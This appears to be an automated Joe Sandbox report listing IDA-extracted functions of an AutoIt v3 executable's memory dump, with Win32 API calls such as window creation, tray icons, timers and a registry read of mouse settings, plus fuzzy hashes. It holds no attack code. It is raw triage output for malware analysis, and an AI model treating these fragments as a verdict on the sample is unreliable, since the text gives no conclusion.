Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 2bac50418f214a8a98eb5106f6981ea7939498c3cf81b47239bb959db70300fc
Instruction ID: 18256a687bb4a9c0a6c31cf53867051ef4c9a8c7b127a713bc0eed05d661d3c7
Opcode Fuzzy Hash: 2bac50418f214a8a98eb5106f6981ea7939498c3cf81b47239bb959db70300fc
Instruction Fuzzy Hash: 9971E4724043019ED324EF69DC818ABBBE8FF86750F84843EF5C497264EB7A9548DB52

Function 00FD2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FD2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00FD2B9D
LoadIconW.USER32(00000063), ref: 00FD2BB3
LoadIconW.USER32(000000A4), ref: 00FD2BC5
LoadIconW.USER32(000000A2), ref: 00FD2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00FD2BEF
RegisterClassExW.USER32(?), ref: 00FD2C40

Part of subcall function 00FD2CD4: GetSysColorBrush.USER32(0000000F), ref: 00FD2D07
Part of subcall function 00FD2CD4: RegisterClassExW.USER32(00000030), ref: 00FD2D31
Part of subcall function 00FD2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FD2D42
Part of subcall function 00FD2CD4: InitCommonControlsEx.COMCTL32(?), ref: 00FD2D5F
Part of subcall function 00FD2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00FD2D6F
Part of subcall function 00FD2CD4: LoadIconW.USER32(000000A9), ref: 00FD2D85
Part of subcall function 00FD2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00FD2D94

Strings

0, xrefs: 00FD2C0F
#, xrefs: 00FD2C16
AutoIt v3, xrefs: 00FD2C2F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 5748b6c0cb35e84f66f941b2b17884b6edcc36b79a2f7e64fb8855132e563b45
Instruction ID: db43bd0a8cc39adac1eed36ab4823e4ee7809fb39f5c15c2a3acca650c6475ba
Opcode Fuzzy Hash: 5748b6c0cb35e84f66f941b2b17884b6edcc36b79a2f7e64fb8855132e563b45
Instruction Fuzzy Hash: AA218E76E00314AFDB209FA5E944B9D7FF5FB08B50F40801AF584A2394D3BA0540DF90

Function 00FD3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00FD316A,?,?), ref: 00FD31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00FD316A,?,?), ref: 00FD3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FD3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00FD316A,?,?), ref: 00FD3232
CreatePopupMenu.USER32 ref: 00FD3246
PostQuitMessage.USER32(00000000), ref: 00FD3267

Strings

TaskbarCreated, xrefs: 00FD322D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 6b42adb1cca3b0619181d350784f2b1deb21efde430a45d25725036bfb6fb31f
Instruction ID: b44e235fa34e885523597182ec83334bbf163cb4746656d8545beef21e235f4c
Opcode Fuzzy Hash: 6b42adb1cca3b0619181d350784f2b1deb21efde430a45d25725036bfb6fb31f
Instruction Fuzzy Hash: 6941E437A00201AAEB246FB8DD09B793A5AF705351F5C411BF7D2C6395CA7E9A40B362

Function 00FD1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00FD1459
CoUninitialize.COMBASE ref: 00FD14F8
UnregisterHotKey.USER32(?), ref: 00FD16DD
DestroyWindow.USER32(?), ref: 010124B9
FreeLibrary.KERNEL32(?), ref: 0101251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0101254B

Strings

close all, xrefs: 00FD1454

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: dca0e80140a132940eabd64369ce0429c8471f3447335260181ac466853aa22c
Instruction ID: b29d196f10a7134eb2b10cb37aa3a24d4482faf95ff0c8e222f882915fb08ab3
Opcode Fuzzy Hash: dca0e80140a132940eabd64369ce0429c8471f3447335260181ac466853aa22c
Instruction Fuzzy Hash: DAD19931701212DFDB29EF15C998B28F7A5BF05700F2842AEE58A6B365CB34AC12DF50

Function 00FD2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00FD2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00FD2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00FD1CAD,?), ref: 00FD2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00FD1CAD,?), ref: 00FD2CCF

Strings

edit, xrefs: 00FD2CAC
AutoIt v3, xrefs: 00FD2C89, 00FD2C8E, 00FD2C8F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 6af094bf6a0cbca682249db23407bd25431b1b282bafe0ca61098e5037ad3c88
Instruction ID: a93a18b714e900f76310d983049d1f86ebff188efbb9c3ffd160354d1955f61a
Opcode Fuzzy Hash: 6af094bf6a0cbca682249db23407bd25431b1b282bafe0ca61098e5037ad3c88
Instruction Fuzzy Hash: 83F0DA765406A07AEB311B17AC0CE772EBDE7C6F60F40805EF980A6554C6BA1850DBB0

Function 00FD3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00FD3B0F,SwapMouseButtons,00000004,?), ref: 00FD3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00FD3B0F,SwapMouseButtons,00000004,?), ref: 00FD3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00FD3B0F,SwapMouseButtons,00000004,?), ref: 00FD3B83

Strings

Control Panel\Mouse, xrefs: 00FD3B3E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 3eb3e8727deb137a3fa924c0ada26fcd4bdc96114e2067c6e751f1fc54e08ecf
Instruction ID: 39c419590c175170c2e9e2ae6e5a0efa0853f9fd37f2d10228e1dc9b1e5fdf20
Opcode Fuzzy Hash: 3eb3e8727deb137a3fa924c0ada26fcd4bdc96114e2067c6e751f1fc54e08ecf
Instruction Fuzzy Hash: B8115AB5510208FFEB208FA4DC44AAEB7B9EF41750B14446BF941D7214D2319F40A760

Function 00FD3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 010133A2

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00FD3A04

Strings

Line: , xrefs: 010133EB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 5f47c029126f5f922a6d3a5ab90b3e8200662c3368bd73432195051af8197354
Instruction ID: a30fad9011d538f131692e8177828903b99432fb2e9a0dafff3da6383c6931ad
Opcode Fuzzy Hash: 5f47c029126f5f922a6d3a5ab90b3e8200662c3368bd73432195051af8197354
Instruction Fuzzy Hash: 9131E272508304AAD325EB20DC45BEFB7DAAF40720F08452FF6D982285DB789A48D7D3

Function 00FEFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00FF0668

Part of subcall function 00FF32A4: RaiseException.KERNEL32(?,?,?,00FF068A,?,010A1444,?,?,?,?,?,?,00FF068A,00FD1129,01098738,00FD1129), ref: 00FF3304

__CxxThrowException@8.LIBVCRUNTIME ref: 00FF0685

Strings

Unknown exception, xrefs: 00FF0692

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: dcc2d8d3a7456cd83a2c61f7b919a42c6032686d0a3eddfad7ecee4e56ebc435
Instruction ID: 6549ce84ff6b2fa1da23615da2e789f0c6d8cd7ba87a70eb96777c81d314ab7b
Opcode Fuzzy Hash: dcc2d8d3a7456cd83a2c61f7b919a42c6032686d0a3eddfad7ecee4e56ebc435
Instruction Fuzzy Hash: 10F02835D0020D738F10BA65DC46D7E7B6C5E00320B504071BA14C55B2EF74EA29F5C0

Function 00FD10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FD1BF4
Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00FD1BFC
Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FD1C07
Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FD1C12
Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00FD1C1A
Part of subcall function 00FD1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00FD1C22

Part of subcall function 00FD1B4A: RegisterWindowMessageW.USER32(00000004,?,00FD12C4), ref: 00FD1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00FD136A
OleInitialize.OLE32 ref: 00FD1388
CloseHandle.KERNEL32(00000000,00000000), ref: 010124AB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 0319cbc48c51852536948c91a97f22c4f4df7cfe0b04aa8a4c555e07dbdcd8e1
Instruction ID: 030bfdad99d34ac0324d188fe46c93549dcb644099facb2f25f28600ffb19069
Opcode Fuzzy Hash: 0319cbc48c51852536948c91a97f22c4f4df7cfe0b04aa8a4c555e07dbdcd8e1
Instruction Fuzzy Hash: A271CBB8901A10CFC3A8EF79E5456953AE5FB49384FD8822AD0DAC7389EB3E4401CF51

Function 0103C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00FD3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0103C259
KillTimer.USER32(?,00000001,?,?), ref: 0103C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0103C270

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 6fa35b438e31e488897302f9c76f337ef273f772d4735f9533c44bb793ee7145
Instruction ID: 17df6a5d84381300759df0c1825ce53806b1bb59bc506dca8250b14d2ec0f83d
Opcode Fuzzy Hash: 6fa35b438e31e488897302f9c76f337ef273f772d4735f9533c44bb793ee7145
Instruction Fuzzy Hash: 5D31D170900344AFFB728F688985BEBBBECAF43304F04049AD2DEA3242C3785684CB51

Function 010086AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,010085CC,?,01098CC8,0000000C), ref: 01008704
GetLastError.KERNEL32(?,010085CC,?,01098CC8,0000000C), ref: 0100870E
__dosmaperr.LIBCMT ref: 01008739

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 9625e69e5861983343c146a167b76f0e4a3d6853d0f893a4b9dfbe02df0d183d
Instruction ID: 3e572dd623319e50030c0fa135d6f1f4783bc1fad326ff9ccf954bb002b2149a
Opcode Fuzzy Hash: 9625e69e5861983343c146a167b76f0e4a3d6853d0f893a4b9dfbe02df0d183d
Instruction Fuzzy Hash: 45018232E0426016F6B36238AC4477E2FC96B95734F26819BE9C89B0D7DE65C4818750

Function 00FDDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00FDDB7B
DispatchMessageW.USER32(?), ref: 00FDDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FDDB9F
Sleep.KERNELBASE(0000000A), ref: 00FDDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 01021CC9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 3e27b709606260f01d10ee9f7559955c666c347ece7055c2053c27c82d8145b3
Instruction ID: 26660888ee7c44c07ec3d8ecb89004a99dd28f66bde5fd616c5078bac8107e52
Opcode Fuzzy Hash: 3e27b709606260f01d10ee9f7559955c666c347ece7055c2053c27c82d8145b3
Instruction Fuzzy Hash: 59F03A316043449AE7308BA0DC49FAA73A9AB84310F50451AE68A831C0DB389088EB15

Function 00FE1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00FE17F6

Strings

CALL, xrefs: 00FE17C6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 666effc95c6d4bd18e4e609b89a2f64b8faf6a340b0fe464f2bc476e453fea1b
Instruction ID: 21eb903e0b337c4cfcd7d80fa3aa37b832fa298c8769b48ce0f4b0675d37913a
Opcode Fuzzy Hash: 666effc95c6d4bd18e4e609b89a2f64b8faf6a340b0fe464f2bc476e453fea1b
Instruction Fuzzy Hash: ED227D706083819FC714DF16C880B2ABBF1BF85314F18896DF8968B362D776E945DB92

Function 00FD2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 01012C8C

Part of subcall function 00FD3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FD3A97,?,?,00FD2E7F,?,?,?,00000000), ref: 00FD3AC2

Part of subcall function 00FD2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FD2DC4

Strings

X, xrefs: 01012C5A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 09c3c4898de44209781de2d079df9bcfd17cf146ff41df96a55a939efef2bbc1
Instruction ID: d88c40635c814e1cb6dde71213d9c3ef727d5bd3fb8b241054bbfeeb2507fd93
Opcode Fuzzy Hash: 09c3c4898de44209781de2d079df9bcfd17cf146ff41df96a55a939efef2bbc1
Instruction Fuzzy Hash: 1A21F371A002489BDF41EF94CC45BEE7BF9AF49304F04805AE544E7345DBB856899BA1

Function 00FD3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FD3908

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 54248cc9b34aff6db9862839ac3d8565c8af019afe7d85c36db7ccdc526f81ee
Instruction ID: c3d448abb41be867d5d0b24c8ca225ffe8be12ad6ee3bbb6f6bc5c81f8e8629c
Opcode Fuzzy Hash: 54248cc9b34aff6db9862839ac3d8565c8af019afe7d85c36db7ccdc526f81ee
Instruction Fuzzy Hash: 373193729047019FE720DF24D484797BBE8FB49718F04092EF6DA97340E7B6AA44DB52

Function 00FEF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00FEF661

Part of subcall function 00FDD730: GetInputState.USER32 ref: 00FDD807

Sleep.KERNEL32(00000000), ref: 0102F2DE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 219c73ac95eab4fabe23b8fcb9212dff94bc9e4ff9e2e91b8f15601c38e69610
Instruction ID: 05c0550388ccbc17fa6442f7378e6236ab893ddb53948a8c0a879a9aaf6ee367
Opcode Fuzzy Hash: 219c73ac95eab4fabe23b8fcb9212dff94bc9e4ff9e2e91b8f15601c38e69610
Instruction Fuzzy Hash: BAF0A031240206DFD310EF79E949B6AB7E9FF46760F04002AE899CB360DB74A800DB90

Function 00FD4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00FD4EDD,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E9C
Part of subcall function 00FD4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00FD4EAE
Part of subcall function 00FD4E90: FreeLibrary.KERNEL32(00000000,?,?,00FD4EDD,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4EC0

